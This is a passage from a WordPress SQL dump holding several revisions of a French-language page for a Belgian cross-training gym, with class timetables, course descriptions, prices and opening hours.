class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 45%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:49:28', '2013-07-03 17:49:28', '', 11, 'http://www.crosstrainingcenter.be/?p=199', 0, 'revision', '', 0),
(200, 1, '2013-07-03 17:51:17', '2013-07-03 17:51:17', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 45%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;toto\r\ntiti\r\ntoutou&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:51:17', '2013-07-03 17:51:17', '', 11, 'http://www.crosstrainingcenter.be/?p=200', 0, 'revision', '', 0),
(201, 1, '2013-07-03 17:51:52', '2013-07-03 17:51:52', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;&lt;br&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 98%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td 